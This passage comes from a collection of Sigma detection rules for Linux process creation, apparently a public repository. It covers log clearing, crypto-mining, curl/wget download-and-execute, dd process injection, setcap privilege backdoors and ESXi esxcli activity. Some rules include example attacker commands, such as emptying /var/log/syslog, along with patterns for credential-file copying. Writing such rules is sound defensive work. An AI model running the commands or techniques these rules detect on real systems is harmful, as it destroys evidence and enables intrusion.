"content": "title: Enable BPF Kprobes Tracing\nid: 7692f583-bd30-4008-8615-75dab3f08a99\nstatus: test\ndescription: Detects common command used to enable bpf kprobes tracing\nreferences:\n - https://embracethered.com/blog/posts/2021/offensive-bpf-bpftrace/\n - https://bpftrace.org/\n - https://www.kernel.org/doc/html/v5.0/trace/kprobetrace.html\nauthor: Nasreddine Bencherchali (Nextron Systems)\ndate: 2023-01-25\ntags:\n - attack.execution\n - attack.defense-evasion\nlogsource:\n category: process_creation\n product: linux\ndetection:\n selection:\n CommandLine|contains|all:\n - 'echo 1 >'\n - '/sys/kernel/debug/tracing/events/kprobes/'\n CommandLine|contains:\n - '/myprobe/enable'\n - '/myretprobe/enable'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_bpftrace_unsafe_option_usage.yml",
"content": "title: BPFtrace Unsafe Option Usage\nid: f8341cb2-ee25-43fa-a975-d8a5a9714b39\nstatus: test\ndescription: Detects the usage of the unsafe bpftrace option\nreferences:\n - https://embracethered.com/blog/posts/2021/offensive-bpf-bpftrace/\n - https://bpftrace.org/\nauthor: Andreas Hunkeler (@Karneades)\ndate: 2022-02-11\ntags:\n - attack.execution\n - attack.t1059.004\nlogsource:\n category: process_creation\n product: linux\ndetection:\n selection:\n Image|endswith: 'bpftrace'\n CommandLine|contains: '--unsafe'\n condition: selection\nfalsepositives:\n - Legitimate usage of the unsafe option\nlevel: medium\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_cap_setgid.yml",
"content": "title: Linux Setgid Capability Set on a Binary via Setcap Utility\nid: 3a716279-c18c-4488-83be-f9ececbfb9fc\nstatus: experimental\ndescription: |\n Detects the use of the 'setcap' utility to set the 'setgid' capability (cap_setgid) on a binary file.\n This capability allows a non privileged process to make arbitrary manipulations of group IDs (GIDs), including setting its current GID to a value that would otherwise be restricted (i.e. GID 0, the root group).\n This behavior can be used by adversaries to backdoor a binary in order to escalate privileges again in the future if needed.\nreferences:\n - https://man7.org/linux/man-pages/man8/setcap.8.html\n - https://dfir.ch/posts/linux_capabilities/\n - https://juggernaut-sec.com/capabilities/#cap_setgid\nauthor: Luc Génaux\ndate: 2026-01-24\ntags:\n - attack.privilege-escalation\n - attack.defense-evasion\n - attack.persistence\n - attack.t1548\n - attack.t1554\nlogsource:\n product: linux\n category: process_creation\ndetection:\n selection:\n Image|endswith: '/setcap'\n CommandLine|contains: 'cap_setgid'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: low\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_cap_setuid.yml",
"content": "title: Linux Setuid Capability Set on a Binary via Setcap Utility\nid: ed447910-bc30-4575-a598-3a2e49516a7a\nstatus: experimental\ndescription: |\n Detects the use of the 'setcap' utility to set the 'setuid' capability (cap_setuid) on a binary file.\n This capability allows a non privileged process to make arbitrary manipulations of user IDs (UIDs), including setting its current UID to a value that would otherwise be restricted (i.e. UID 0, the root user).\n This behavior can be used by adversaries to backdoor a binary in order to escalate privileges again in the future if needed.\nreferences:\n - https://man7.org/linux/man-pages/man8/setcap.8.html\n - https://dfir.ch/posts/linux_capabilities/\n - https://juggernaut-sec.com/capabilities/#cap_setuid\nauthor: Luc Génaux\ndate: 2026-01-24\ntags:\n - attack.privilege-escalation\n - attack.defense-evasion\n - attack.persistence\n - attack.t1548\n - attack.t1554\nlogsource:\n product: linux\n category: process_creation\ndetection:\n selection:\n Image|endswith: '/setcap'\n CommandLine|contains: 'cap_setuid'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: low\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_capa_discovery.yml",
"content": "title: Capabilities Discovery - Linux\nid: d8d97d51-122d-4cdd-9e2f-01b4b4933530\nstatus: test\ndescription: Detects usage of \"getcap\" binary. This is often used during recon activity to determine potential binaries that can be abused as GTFOBins or other.\nreferences:\n - https://github.com/SaiSathvik1/Linux-Privilege-Escalation-Notes\n - https://github.com/carlospolop/PEASS-ng\n - https://github.com/diego-treitos/linux-smart-enumeration\nauthor: Nasreddine Bencherchali (Nextron Systems)\ndate: 2022-12-28\nmodified: 2026-01-24\ntags:\n - attack.discovery\n - attack.t1083\nlogsource:\n category: process_creation\n product: linux\ndetection:\n selection:\n Image|endswith: '/getcap'\n CommandLine|contains: ' -r '\n condition: selection\nfalsepositives:\n - Unknown\nlevel: low\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_capsh_shell_invocation.yml",
"content": "title: Capsh Shell Invocation - Linux\nid: db1ac3be-f606-4e3a-89e0-9607cbe6b98a\nstatus: test\ndescription: |\n Detects the use of the \"capsh\" utility to invoke a shell.\nreferences:\n - https://gtfobins.github.io/gtfobins/capsh/#shell\n - https://www.elastic.co/guide/en/security/current/linux-restricted-shell-breakout-via-linux-binary-s.html\nauthor: Li Ling, Andy Parkidomo, Robert Rakowski, Blake Hartstein (Bloomberg L.P.)\ndate: 2024-09-02\ntags:\n - attack.execution\n - attack.t1059\nlogsource:\n category: process_creation\n product: linux\ndetection:\n selection:\n Image|endswith: '/capsh'\n CommandLine|endswith: ' --'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_chattr_immutable_removal.yml",
"content": "title: Remove Immutable File Attribute\nid: 34979410-e4b5-4e5d-8cfb-389fdff05c12\nrelated:\n - id: a5b977d6-8a81-4475-91b9-49dbfcd941f7\n type: derived\nstatus: test\ndescription: Detects usage of the 'chattr' utility to remove immutable file attribute.\nreferences:\n - https://www.trendmicro.com/en_us/research/22/i/how-malicious-actors-abuse-native-linux-tools-in-their-attacks.html\nauthor: Nasreddine Bencherchali (Nextron Systems)\ndate: 2022-09-15\ntags:\n - attack.defense-evasion\n - attack.t1222.002\nlogsource:\n product: linux\n category: process_creation\ndetection:\n selection:\n Image|endswith: '/chattr'\n CommandLine|contains: ' -i '\n condition: selection\nfalsepositives:\n - Administrator interacting with immutable files (e.g. for instance backups).\nlevel: medium\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_chroot_execution.yml",
"content": "title: Linux Sudo Chroot Execution\nid: f2bed782-994e-4f40-9cd5-518198cb3fba\nstatus: experimental\ndescription: |\n Detects the execution of 'sudo' command with '--chroot' option, which is used to change the root directory for command execution.\n Attackers may use this technique to evade detection and execute commands in a modified environment.\n This can be part of a privilege escalation strategy, as it allows the execution of commands with elevated privileges in a controlled environment as seen in CVE-2025-32463.\n While investigating, look out for unusual or unexpected use of 'sudo --chroot' in conjunction with other commands or scripts such as execution from temporary directories or unusual user accounts.\nreferences:\n - https://github.com/kh4sh3i/CVE-2025-32463/blob/81bb430f84fa2089224733c3ed4bfa434c197ad4/exploit.sh\nauthor: Swachchhanda Shrawn Poudel (Nextron Systems)\ndate: 2025-10-02\ntags:\n - attack.privilege-escalation\n - attack.t1068\nlogsource:\n category: process_creation\n product: linux\ndetection:\n selection:\n Image|endswith: '/sudo'\n CommandLine|contains:\n - ' --chroot '\n - 'sudo -R '\n condition: selection\nfalsepositives:\n - Legitimate administrative tasks or scripts that use 'sudo --chroot' for containerization, testing, or system management.\nlevel: low\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_clear_logs.yml",
"content": "title: Clear Linux Logs\nid: 80915f59-9b56-4616-9de0-fd0dea6c12fe\nstatus: stable\ndescription: Detects attempts to clear logs on the system. Adversaries may clear system logs to hide evidence of an intrusion\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.002/T1070.002.md\nauthor: Ömer Günal, oscd.community\ndate: 2020-10-07\nmodified: 2022-09-15\ntags:\n - attack.defense-evasion\n - attack.t1070.002\nlogsource:\n product: linux\n category: process_creation\ndetection:\n selection:\n Image|endswith:\n - '/rm' # covers /rmdir as well\n - '/shred'\n - '/unlink'\n CommandLine|contains:\n - '/var/log'\n - '/var/spool/mail'\n condition: selection\nfalsepositives:\n - Legitimate administration activities\nlevel: medium\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_clear_syslog.yml",
"content": "title: Syslog Clearing or Removal Via System Utilities\nid: 3fcc9b35-39e4-44c0-a2ad-9e82b6902b31\nstatus: test\ndescription: |\n Detects specific commands commonly used to remove or empty the syslog. Which is a technique often used by attacker as a method to hide their tracks\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.002/T1070.002.md\n - https://www.virustotal.com/gui/file/54d60fd58d7fa3475fa123985bfc1594df26da25c1f5fbc7dfdba15876dd8ac5/behavior\nauthor: Max Altgelt (Nextron Systems), Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC\ndate: 2021-10-15\nmodified: 2025-10-15\ntags:\n - attack.defense-evasion\n - attack.t1070.002\nlogsource:\n product: linux\n category: process_creation\ndetection:\n selection_file:\n CommandLine|contains: '/var/log/syslog'\n selection_command_rm:\n # Examples:\n # rm -f /var/log/syslog\n Image|endswith: '/rm'\n CommandLine|contains:\n - ' -r '\n - ' -f '\n - ' -rf '\n - '/var/log/syslog' # We use this to avoid re-writing a separate selection\n selection_command_unlink:\n # Examples:\n # unlink /var/log/syslog\n Image|endswith: '/unlink'\n selection_command_mv:\n # Examples:\n # mv /var/log/syslog\n Image|endswith: '/mv'\n selection_command_truncate:\n # Examples:\n # truncate --size 0 /var/log/syslog\n Image|endswith: '/truncate'\n CommandLine|contains|all:\n - '0 '\n - '/var/log/syslog' # We use this to avoid re-writing a separate selection\n CommandLine|contains:\n - '-s '\n - '-c '\n - '--size'\n selection_command_ln:\n # Examples:\n # ln -sfn /dev/null /var/log/syslog\n Image|endswith: '/ln'\n CommandLine|contains|all:\n - '/dev/null '\n - '/var/log/syslog' # We use this to avoid re-writing a separate selection\n CommandLine|contains:\n - '-sf '\n - '-sfn '\n - '-sfT '\n selection_command_cp:\n # Examples:\n # cp /dev/null /var/log/syslog\n Image|endswith: '/cp'\n CommandLine|contains: '/dev/null'\n selection_command_shred:\n # Examples:\n # shred -u /var/log/syslog\n Image|endswith: '/shred'\n CommandLine|contains: '-u '\n selection_unique_other:\n CommandLine|contains:\n - ' > /var/log/syslog'\n - ' >/var/log/syslog'\n - ' >| /var/log/syslog' # redirection empties w spacing, noclobber\n - ': > /var/log/syslog'\n - ':> /var/log/syslog'\n - ':>/var/log/syslog'\n - '>|/var/log/syslog'\n selection_unique_journalctl:\n CommandLine|contains:\n - 'journalctl --vacuum'\n - 'journalctl --rotate' # archives current journal files and creates new empty ones\n condition: (selection_file and 1 of selection_command_*) or 1 of selection_unique_*\nfalsepositives:\n - Log rotation.\n - Maintenance.\nlevel: high\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_clipboard_collection.yml",
"content": "title: Clipboard Collection with Xclip Tool\nid: ec127035-a636-4b9a-8555-0efd4e59f316\nstatus: test\ndescription: |\n Detects attempts to collect data stored in the clipboard from users with the usage of xclip tool. Xclip has to be installed.\n Highly recommended using rule on servers, due to high usage of clipboard utilities on user workstations.\nreferences:\n - https://www.packetlabs.net/posts/clipboard-data-security/\nauthor: Pawel Mazur, Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC\ndate: 2021-10-15\nmodified: 2022-09-15\ntags:\n - attack.collection\n - attack.t1115\nlogsource:\n product: linux\n category: process_creation\ndetection:\n selection:\n Image|contains: 'xclip'\n CommandLine|contains|all:\n - '-sel'\n - 'clip'\n - '-o'\n condition: selection\nfalsepositives:\n - Legitimate usage of xclip tools.\nlevel: low\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_cp_passwd_or_shadow_tmp.yml",
"content": "title: Copy Passwd Or Shadow From TMP Path\nid: fa4aaed5-4fe0-498d-bbc0-08e3346387ba\nstatus: test\ndescription: Detects when the file \"passwd\" or \"shadow\" is copied from tmp path\nreferences:\n - https://blogs.blackberry.com/\n - https://twitter.com/Joseliyo_Jstnk/status/1620131033474822144\nauthor: Joseliyo Sanchez, @Joseliyo_Jstnk\ndate: 2023-01-31\ntags:\n - attack.credential-access\n - attack.t1552.001\nlogsource:\n product: linux\n category: process_creation\ndetection:\n selection_img:\n Image|endswith: '/cp'\n selection_path:\n CommandLine|contains: '/tmp/'\n selection_file:\n CommandLine|contains:\n - 'passwd'\n - 'shadow'\n condition: all of selection_*\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_crontab_enumeration.yml",
"content": "title: Crontab Enumeration\nid: 403ed92c-b7ec-4edd-9947-5b535ee12d46\nstatus: test\ndescription: Detects usage of crontab to list the tasks of the user\nreferences:\n - https://blogs.jpcert.or.jp/en/2023/05/gobrat.html\n - https://jstnk9.github.io/jstnk9/research/GobRAT-Malware/\n - https://www.virustotal.com/gui/file/60bcd645450e4c846238cf0e7226dc40c84c96eba99f6b2cffcd0ab4a391c8b3/detection\n - https://www.virustotal.com/gui/file/3e44c807a25a56f4068b5b8186eee5002eed6f26d665a8b791c472ad154585d1/detection\nauthor: Joseliyo Sanchez, @Joseliyo_Jstnk\ndate: 2023-06-02\ntags:\n - attack.discovery\n - attack.t1007\nlogsource:\n product: linux\n category: process_creation\ndetection:\n selection:\n Image|endswith: '/crontab'\n CommandLine|contains: ' -l'\n condition: selection\nfalsepositives:\n - Legitimate use of crontab\nlevel: low\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_crontab_removal.yml",
"content": "title: Remove Scheduled Cron Task/Job\nid: c2e234de-03a3-41e1-b39a-1e56dc17ba67\nstatus: test\ndescription: |\n Detects usage of the 'crontab' utility to remove the current crontab.\n This is a common occurrence where cryptocurrency miners compete against each other by removing traces of other miners to hijack the maximum amount of resources possible\nreferences:\n - https://www.trendmicro.com/en_us/research/22/i/how-malicious-actors-abuse-native-linux-tools-in-their-attacks.html\nauthor: Nasreddine Bencherchali (Nextron Systems)\ndate: 2022-09-15\ntags:\n - attack.defense-evasion\nlogsource:\n category: process_creation\n product: linux\ndetection:\n selection:\n Image|endswith: 'crontab'\n CommandLine|contains: ' -r'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_crypto_mining.yml",
"content": "title: Linux Crypto Mining Indicators\nid: 9069ea3c-b213-4c52-be13-86506a227ab1\nstatus: test\ndescription: Detects command line parameters or strings often used by crypto miners\nreferences:\n - https://www.poolwatch.io/coin/monero\nauthor: Florian Roth (Nextron Systems)\ndate: 2021-10-26\nmodified: 2022-12-25\ntags:\n - attack.impact\n - attack.t1496\nlogsource:\n product: linux\n category: process_creation\ndetection:\n selection:\n CommandLine|contains:\n - ' --cpu-priority='\n - '--donate-level=0'\n - ' -o pool.'\n - ' --nicehash'\n - ' --algo=rx/0 '\n - 'stratum+tcp://'\n - 'stratum+udp://'\n # Sub process started by xmrig - the most popular Monero crypto miner - unknown if this causes any false positives\n - 'sh -c /sbin/modprobe msr allow_writes=on'\n # base64 encoded: --donate-level=\n - 'LS1kb25hdGUtbGV2ZWw9'\n - '0tZG9uYXRlLWxldmVsP'\n - 'tLWRvbmF0ZS1sZXZlbD'\n # base64 encoded: stratum+tcp:// and stratum+udp://\n - 'c3RyYXR1bSt0Y3A6Ly'\n - 'N0cmF0dW0rdGNwOi8v'\n - 'zdHJhdHVtK3RjcDovL'\n - 'c3RyYXR1bSt1ZHA6Ly'\n - 'N0cmF0dW0rdWRwOi8v'\n - 'zdHJhdHVtK3VkcDovL'\n condition: selection\nfalsepositives:\n - Legitimate use of crypto miners\nlevel: high\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_curl_usage.yml",
"content": "title: Curl Usage on Linux\nid: ea34fb97-e2c4-4afb-810f-785e4459b194\nstatus: test\ndescription: Detects a curl process start on linux, which indicates a file download from a remote location or a simple web request to a remote server\nreferences:\n - https://www.trendmicro.com/en_us/research/22/i/how-malicious-actors-abuse-native-linux-tools-in-their-attacks.html\nauthor: Nasreddine Bencherchali (Nextron Systems)\ndate: 2022-09-15\ntags:\n - attack.command-and-control\n - attack.t1105\nlogsource:\n category: process_creation\n product: linux\ndetection:\n selection:\n Image|endswith: '/curl'\n condition: selection\nfalsepositives:\n - Scripts created by developers and admins\n - Administrative activity\nlevel: low\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_curl_wget_exec_tmp.yml",
"content": "title: Suspicious Download and Execute Pattern via Curl/Wget\nid: a2d9e2f3-0f43-4c7a-bcd9-9acfc0d723aa\nstatus: experimental\ndescription: |\n Detects suspicious use of command-line tools such as curl or wget to download remote\n content - particularly scripts - into temporary directories (e.g., /dev/shm, /tmp), followed by\n immediate execution, indicating potential malicious activity. This pattern is commonly used\n by malicious scripts, stagers, or downloaders in fileless or multi-stage Linux attacks.\nreferences:\n - https://gtfobins.github.io/gtfobins/wget/\n - https://gtfobins.github.io/gtfobins/curl/\nauthor: Aayush Gupta\ndate: 2025-06-17\ntags:\n - attack.execution\n - attack.t1059.004\n - attack.t1203\nlogsource:\n category: process_creation\n product: linux\ndetection:\n selection_downloader:\n CommandLine|contains:\n - '/curl'\n - '/wget'\n selection_tmp:\n CommandLine|contains:\n - '/tmp/'\n - '/dev/shm/'\n selection_executor:\n CommandLine|contains: 'sh -c'\n condition: all of selection_*\nfalsepositives:\n - System update scripts using temporary files\n - Installer scripts or automated provisioning tools\nlevel: high\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_dd_file_overwrite.yml",
"content": "title: DD File Overwrite\nid: 2953194b-e33c-4859-b9e8-05948c167447\nstatus: test\ndescription: Detects potential overwriting and deletion of a file using DD.\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1485/T1485.md#atomic-test-2---macoslinux---overwrite-file-with-dd\nauthor: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC\ndate: 2021-10-15\nmodified: 2022-07-07\ntags:\n - attack.impact\n - attack.t1485\nlogsource:\n product: linux\n category: process_creation\ndetection:\n selection1:\n Image:\n - '/bin/dd'\n - '/usr/bin/dd'\n selection2:\n CommandLine|contains: 'of='\n selection3:\n CommandLine|contains:\n - 'if=/dev/zero'\n - 'if=/dev/null'\n condition: all of selection*\nfalsepositives:\n - Any user deleting files that way.\nlevel: low\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_dd_process_injection.yml",
"content": "title: Potential Linux Process Code Injection Via DD Utility\nid: 4cad6c64-d6df-42d6-8dae-eb78defdc415\nstatus: test\ndescription: Detects the injection of code by overwriting the memory map of a Linux process using the \"dd\" Linux command.\nreferences:\n - https://www.aon.com/cyber-solutions/aon_cyber_labs/linux-based-inter-process-code-injection-without-ptrace2/\n - https://github.com/AonCyberLabs/Cexigua/blob/34d338620afae4c6335ba8d8d499e1d7d3d5d7b5/overwrite.sh\nauthor: Joseph Kamau\ndate: 2023-12-01\ntags:\n - attack.privilege-escalation\n - attack.defense-evasion\n - attack.t1055.009\nlogsource:\n product: linux\n category: process_creation\ndetection:\n selection:\n Image|endswith: '/dd'\n CommandLine|contains|all:\n - 'of='\n - '/proc/'\n - '/mem'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_disable_ufw.yml",
"content": "title: Ufw Force Stop Using Ufw-Init\nid: 84c9e83c-599a-458a-a0cb-0ecce44e807a\nstatus: test\ndescription: Detects attempts to force stop the ufw using ufw-init\nreferences:\n - https://blogs.blackberry.com/\n - https://twitter.com/Joseliyo_Jstnk/status/1620131033474822144\nauthor: Joseliyo Sanchez, @Joseliyo_Jstnk\ndate: 2023-01-18\ntags:\n - attack.defense-evasion\n - attack.t1562.004\nlogsource:\n product: linux\n category: process_creation\ndetection:\n selection_init:\n CommandLine|contains|all:\n - '-ufw-init'\n - 'force-stop'\n selection_ufw:\n CommandLine|contains|all:\n - 'ufw'\n - 'disable'\n condition: 1 of selection_*\nfalsepositives:\n - Network administrators\nlevel: medium\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_doas_execution.yml",
"content": "title: Linux Doas Tool Execution\nid: 067d8238-7127-451c-a9ec-fa78045b618b\nstatus: stable\ndescription: Detects the doas tool execution in linux host platform. This utility tool allow standard users to perform tasks as root, the same way sudo does.\nreferences:\n - https://research.splunk.com/endpoint/linux_doas_tool_execution/\n - https://www.makeuseof.com/how-to-install-and-use-doas/\nauthor: Sittikorn S, Teoderick Contreras\ndate: 2022-01-20\ntags:\n - attack.defense-evasion\n - attack.privilege-escalation\n - attack.t1548\nlogsource:\n product: linux\n category: process_creation\ndetection:\n selection:\n Image|endswith: '/doas'\n condition: selection\nfalsepositives:\n - Unlikely\nlevel: low\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_env_shell_invocation.yml",
"content": "title: Shell Invocation via Env Command - Linux\nid: bed978f8-7f3a-432b-82c5-9286a9b3031a\nstatus: test\ndescription: |\n Detects the use of the env command to invoke a shell. This may indicate an attempt to bypass restricted environments, escalate privileges, or execute arbitrary commands.\nreferences:\n - https://gtfobins.github.io/gtfobins/env/#shell\n - https://www.elastic.co/guide/en/security/current/linux-restricted-shell-breakout-via-linux-binary-s.html\nauthor: Li Ling, Andy Parkidomo, Robert Rakowski, Blake Hartstein (Bloomberg L.P.)\ndate: 2024-09-02\ntags:\n - attack.execution\n - attack.t1059\nlogsource:\n category: process_creation\n product: linux\ndetection:\n selection:\n Image|endswith: '/env'\n CommandLine|endswith:\n - '/bin/bash'\n - '/bin/dash'\n - '/bin/fish'\n - '/bin/sh'\n - '/bin/zsh'\n condition: selection\nfalsepositives:\n - Github operations such as ghe-backup\nlevel: high\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_esxcli_network_discovery.yml",
"content": "title: ESXi Network Configuration Discovery Via ESXCLI\nid: 33e814e0-1f00-4e43-9c34-31fb7ae2b174\nstatus: test\ndescription: Detects execution of the \"esxcli\" command with the \"network\" flag in order to retrieve information about the network configuration.\nreferences:\n - https://www.crowdstrike.com/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/\n - https://developer.broadcom.com/xapis/esxcli-command-reference/7.0.0/namespace/esxcli_network.html\nauthor: Cedric Maurugeon\ndate: 2023-09-04\ntags:\n - attack.discovery\n - attack.execution\n - attack.t1033\n - attack.t1007\n - attack.t1059.012\nlogsource:\n category: process_creation\n product: linux\ndetection:\n selection_img:\n Image|endswith: '/esxcli'\n CommandLine|contains: 'network'\n selection_cli:\n CommandLine|contains:\n - ' get'\n - ' list'\n condition: all of selection_*\nfalsepositives:\n - Legitimate administration activities\n# Note: level can be reduced to low in some envs\nlevel: medium\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_esxcli_permission_change_admin.yml",
"content": "title: ESXi Admin Permission Assigned To Account Via ESXCLI\nid: 9691f58d-92c1-4416-8bf3-2edd753ec9cf\nstatus: test\ndescription: Detects execution of the \"esxcli\" command with the \"system\" and \"permission\" flags in order to assign admin permissions to an account.\nreferences:\n - https://developer.broadcom.com/xapis/esxcli-command-reference/7.0.0/namespace/esxcli_system.html\nauthor: Nasreddine Bencherchali (Nextron Systems)\ndate: 2023-09-04\ntags:\n - attack.persistence\n - attack.execution\n - attack.privilege-escalation\n - attack.t1059.012\n - attack.t1098\nlogsource:\n category: process_creation\n product: linux\ndetection:\n selection:\n Image|endswith: '/esxcli'\n CommandLine|contains: 'system'\n CommandLine|contains|all:\n - ' permission '\n - ' set'\n - 'Admin'\n condition: selection\nfalsepositives:\n - Legitimate administration activities\nlevel: high\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_esxcli_storage_discovery.yml",
"content": "title: ESXi Storage Information Discovery Via ESXCLI\nid: f41dada5-3f56-4232-8503-3fb7f9cf2d60\nstatus: test\ndescription: Detects execution of the \"esxcli\" command with the \"storage\" flag in order to retrieve information about the storage status and other related information. Seen used by malware such as DarkSide and LockBit.\nreferences:\n - https://www.trendmicro.com/en_us/research/21/e/darkside-linux-vms-targeted.html\n - https://www.trendmicro.com/en_us/research/22/a/analysis-and-Impact-of-lockbit-ransomwares-first-linux-and-vmware-esxi-variant.html\n - https://developer.broadcom.com/xapis/esxcli-command-reference/7.0.0/namespace/esxcli_storage.html\nauthor: Nasreddine Bencherchali (Nextron Systems), Cedric Maurugeon\ndate: 2023-09-04\ntags:\n - attack.discovery\n - attack.execution\n - attack.t1033\n - attack.t1007\n - attack.t1059.012\nlogsource:\n category: process_creation\n product: linux\ndetection:\n selection_img:\n Image|endswith: '/esxcli'\n CommandLine|contains: 'storage'\n selection_cli:\n CommandLine|contains:\n - ' get'\n - ' list'\n condition: all of selection_*\nfalsepositives:\n - Legitimate administration activities\n# Note: level can be reduced to low in some envs\nlevel: medium\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_esxcli_syslog_config_change.yml",
"content": "title: ESXi Syslog Configuration Change Via ESXCLI\nid: 38eb1dbb-011f-40b1-a126-cf03a0210563\nstatus: test\ndescription: Detects changes to the ESXi syslog configuration via \"esxcli\"\nreferences:\n - https://support.solarwinds.com/SuccessCenter/s/article/Configure-ESXi-Syslog-to-LEM?language=en_US\n - https://developer.broadcom.com/xapis/esxcli-command-reference/7.0.0/namespace/esxcli_system.html\nauthor: Cedric Maurugeon\ndate: 2023-09-04\ntags:\n - attack.defense-evasion\n - attack.execution\n - attack.t1562.001\n - attack.t1562.003\n - attack.t1059.012\nlogsource:\n category: process_creation\n product: linux\ndetection:\n selection:\n Image|endswith: '/esxcli'\n CommandLine|contains|all:\n - 'system'\n - 'syslog'\n - 'config'\n CommandLine|contains: ' set'\n condition: selection\nfalsepositives:\n - Legitimate administrative activities\nlevel: medium\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_esxcli_system_discovery.yml",
"content": "title: ESXi System Information Discovery Via ESXCLI\nid: e80273e1-9faf-40bc-bd85-dbaff104c4e9\nstatus: test\ndescription: Detects execution of the \"esxcli\" command with the \"system\" flag in order to retrieve information about the different component of the system. Such as accounts, modules, NTP, etc.\nreferences:\n - https://www.crowdstrike.com/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/\n - https://developer.broadcom.com/xapis/esxcli-command-reference/7.0.0/namespace/esxcli_system.html\nauthor: Cedric Maurugeon\ndate: 2023-09-04\ntags:\n - attack.discovery\n - attack.execution\n - attack.t1033\n - attack.t1007\n - attack.t1059.012\nlogsource:\n category: process_creation\n product: linux\ndetection:\n selection_img:\n Image|endswith: '/esxcli'\n CommandLine|contains: 'system'\n selection_cli:\n CommandLine|contains:\n - ' get'\n - ' list'\n condition: all of selection_*\nfalsepositives:\n - Legitimate administration activities\nlevel: medium\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_esxcli_user_account_creation.yml",
"content": "title: ESXi Account Creation Via ESXCLI\nid: b28e4eb3-8bbc-4f0c-819f-edfe8e2f25db\nstatus: test\ndescription: Detects user account creation on ESXi system via esxcli\nreferences:\n - https://developer.broadcom.com/xapis/esxcli-command-reference/7.0.0/namespace/esxcli_system.html\nauthor: Cedric Maurugeon\ndate: 2023-08-22\ntags:\n - attack.persistence\n - attack.execution\n - attack.t1136\n - attack.t1059.012\nlogsource:\n category: process_creation\n product: linux\ndetection:\n selection:\n Image|endswith: '/esxcli'\n CommandLine|contains|all:\n - 'system '\n - 'account '\n - 'add '\n condition: selection\nfalsepositives:\n - Legitimate administration activities\nlevel: medium\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_esxcli_vm_discovery.yml",
"content": "title: ESXi VM List Discovery Via ESXCLI\nid: 5f1573a7-363b-4114-9208-ad7a61de46eb\nstatus: test\ndescription: Detects execution of the \"esxcli\" command with the \"vm\" flag in order to retrieve information about the installed VMs.\nreferences:\n - https://www.crowdstrike.com/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/\n - https://developer.broadcom.com/xapis/esxcli-command-reference/7.0.0/namespace/esxcli_vm.html\n - https://www.secuinfra.com/en/techtalk/hide-your-hypervisor-analysis-of-esxiargs-ransomware/\n - https://www.trendmicro.com/en_us/research/22/e/new-linux-based-ransomware-cheerscrypt-targets-exsi-devices.html\nauthor: Cedric Maurugeon\ndate: 2023-09-04\ntags:\n - attack.discovery\n - attack.execution\n - attack.t1033\n - attack.t1007\n - attack.t1059.012\nlogsource:\n category: process_creation\n product: linux\ndetection:\n selection:\n Image|endswith: '/esxcli'\n CommandLine|contains: 'vm process'\n CommandLine|endswith: ' list'\n condition: selection\nfalsepositives:\n - Legitimate administration activities\nlevel: medium\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_esxcli_vm_kill.yml",
